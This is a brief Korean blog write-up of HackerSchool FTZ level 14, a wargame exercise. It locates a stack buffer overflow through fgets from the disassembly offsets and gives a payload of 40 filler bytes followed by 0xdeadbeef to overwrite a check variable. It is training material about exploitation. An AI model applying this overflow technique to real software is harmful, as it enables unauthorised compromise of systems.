시스템/FTZ
hackerschool FTZ : level 14 풀이
pu1et
2019. 4. 2. 06:18

문제 분석
1. fgets bof
2. 조건 : check==0xdeadbeef
풀이
1. bof 위치 확인 : ebp-56

lea 0xffffffc8(%ebp), %eax => lea eax ebp-56
2. check 위치 확인 : ebp-16

cmpl $0xdeadbeef, 0xfffffff0(%ebp) => cmp ebp-16 0xdeadbeef
3. payload = dummy(40bytes) + check
= "a"*40 + 0xdeadbeef
